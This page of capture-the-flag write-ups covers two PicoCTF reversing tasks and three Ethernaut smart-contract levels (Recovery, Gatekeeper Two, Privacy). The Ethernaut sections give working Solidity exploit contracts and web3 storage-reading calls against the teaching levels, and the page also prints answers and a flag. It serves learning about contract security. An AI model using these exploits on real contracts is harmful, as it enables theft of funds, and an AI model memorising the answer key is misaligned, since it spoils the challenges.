PicoCTF - Bbbbloat

Challenge

Tags

PicoCTF 2022 / Reverse Engineering / binary /obfuscation

Writeup

  1. Download the file.
  2. We can use file command to check its type.
    
     file bbbbloat
     #bbbbloat: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=99c5c1ce06be240322c15bcabc3cd90318eb2003, for GNU/Linux 3.2.0, stripped
    
    
  3. Use IDA analysis its pseudocode. (View > Open subviews > Generate pseudocode)
  4. Execute file and answer 549255. remix

Ethernaut - 17. Recovery

Difficulty: 🌕🌕🌕🌑🌑

A contract creator has built a very simple token factory contract. Anyone can create new tokens with ease. After deploying the first token contract, the creator sent 0.001 ether to obtain more tokens. They have since lost the contract address.
This level will be completed if you can recover (or remove) the 0.001 ether from the lost contract address.

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Recovery {

  //generate tokens
  function generateToken(string memory _name, uint256 _initialSupply) public {
    new SimpleToken(_name, msg.sender, _initialSupply);
  
  }
}

contract SimpleToken {

  using SafeMath for uint256;
  // public variables
  string public name;
  mapping (address => uint) public balances;

  // constructor
  constructor(string memory _name, address _creator, uint256 _initialSupply) public {
    name = _name;
    balances[_creator] = _initialSupply;
  }

  // collect ether in return for tokens
  receive() external payable {
    balances[msg.sender] = msg.value.mul(10);
  }

  // allow transfers of tokens
  function transfer(address _to, uint _amount) public { 
    require(balances[msg.sender] >= _amount);
    balances[msg.sender] = balances[msg.sender].sub(_amount);
    balances[_to] = _amount;
  }

  // clean up after ourselves
  function destroy(address payable _to) public {
    selfdestruct(_to);
  }
}

Writeup

  1. Get new instance.
  2. Get level instance’s address.
    
     instance
     // '0x952282e64E0DE0618E337114AA315cE3eBb1351A'
    
    
  3. Go to etherscan search this address. We can see there’s a Contract Creation record, which we can click into and get our SimpleToken contract address.
  4. Create a new contract to exploit it!
     // SPDX-License-Identifier: MIT
     pragma solidity >=0.8.0 <0.9.0;
    
     interface ISimpleToken {
         function destroy(address payable _to) external;
     }
    
     contract RecoveryExploit {
         function withdraw() public {
             ISimpleToken(YOUR_SIMPLETOKEN_ADDRESS).destroy(payable(msg.sender));
         }
     }
    
  5. Compile and deploy.
  6. Call the withdraw method in RecoveryExploit contract. SimpleToken contract will self-destruct and all remaining ether will be sent to msg.sender.
  7. Submit instance ξ( ✿>◡❛)

Ethernaut - 14. Gatekeeper Two

Difficulty: 🌕🌕🌕🌑🌑

This gatekeeper introduces a few new challenges. Register as an entrant to pass this level.
Things that might help:

  • Remember what you’ve learned from getting past the first gatekeeper - the first gate is the same.
  • The assembly keyword in the second gate allows a contract to access functionality that is not native to vanilla Solidity. See here for more information. The extcodesize call in this gate will get the size of a contract’s code at a given address - you can learn more about how and when this is set in section 7 of the yellow paper.
  • The ^ character in the third gate is a bitwise operation (XOR), and is used here to apply another common bitwise operation (see here). The Coin Flip level is also a good place to start when approaching this challenge.

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract GatekeeperTwo {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller()) }
    require(x == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

Writeup

There are three gates we need to pass.

  • Gate one : Using the contract to call the method. msg.sender will be the contract address and tx.origin will be my account address.
  • Gate two : When contract is being created, code size (extcodesize) is 0. Write all code in constructor() to pass the check. To learn more detail, you can visit this website.
  • Gate three : If a ^ b = c then c ^ a = b . We can use this logic to derive the value of _gateKey. To learn more detail, you can visit this website.
  1. Get new instance.
  2. Create a new contract.
     // SPDX-License-Identifier: MIT
     pragma solidity >=0.8.0 <0.9.0;
    
     interface IGatekeeperTwo {
         function enter(bytes8 _gateKey) external returns (bool);
     }
    
     contract GatekeeperTwoExploiter {
         constructor() {
             unchecked{
                 bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ uint64(0) - 1  );
                 IGatekeeperTwo(YOUR_INSTANCE_ADDRESS).enter(key);
             }
         }
     }
    
  3. Compile and deploy.
  4. Submit instance ξ( ✿>◡❛)

Ethernaut - 12. Privacy

Difficulty: 🌕🌕🌕🌕🌑

The creator of this contract was careful enough to protect the sensitive areas of its storage.

Unlock this contract to beat the level.

Things that might help:

  • Understanding how storage works
  • Understanding how parameter parsing works
  • Understanding how casting works

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Privacy {

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

  constructor(bytes32[3] memory _data) public {
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

Writeup

Although data is private variable. We still can use web3.eth.getStorageAt to get the state of the contract’s storage.

  1. Get new instance.
  2. Try to get locked value by web3.eth.getStorageAt.
    
     await web3.eth.getStorageAt("YOUR_LEVEL_INSTANCE_ADDRESS", 1)
     // '0x0000000000000000000000000000000000000000000000000000000000000001' // return locked value // true
    
    
  3. Get data[2].
    
     await web3.eth.getStorageAt("YOUR_LEVEL_INSTANCE_ADDRESS", 5)
     // '0x7c1db6671abbdbf3884f953ac1683887832f14843bc56d6f3250a825a233f93e' 
    
    
  4. Unlock.
    
     await contract.unlock('0x7c1db6671abbdbf3884f953ac1683887')
    
    
  5. Get locked value again.
    
     await web3.eth.getStorageAt("YOUR_LEVEL_INSTANCE_ADDRESS", 1)
     // '0x0000000000000000000000000000000000000000000000000000000000000000' // false
    
    
  6. Submit instance ξ( ✿>◡❛)

PicoCTF - speeds and feeds

Challenge

Tags

PicoCTF 2021 / Reverse Engineering

Description

There is something on my shop network running at nc mercury.picoctf.net 16524, but I can’t tell what it is. Can you?

Prereguisite

G-code

Writeup

  1. Save G-code to the file
    
     nc mercury.picoctf.net 16524 > g.gcode
    
    
  2. Go to this website and open g.gcode.
  3. Here’s flag ! picoCTF{num3r1cal_c0ntr0l_e7749028} ٩(^ᴗ^)۶